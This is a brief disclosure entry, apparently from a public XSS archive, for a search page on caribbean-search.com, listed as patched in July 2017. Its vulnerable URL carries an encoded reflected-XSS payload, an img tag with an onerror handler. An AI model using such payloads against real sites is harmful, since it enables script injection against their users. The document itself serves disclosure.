caribbean-search.com XSS vulnerability

Vulnerable URL: http://www.caribbean-search.com/multiqry1.cfm?keyword=%27%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%27XSSPOSED%27%29%3Erequired=At+least+one+keyword+is+required!==0=0 Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 13:39 GMT...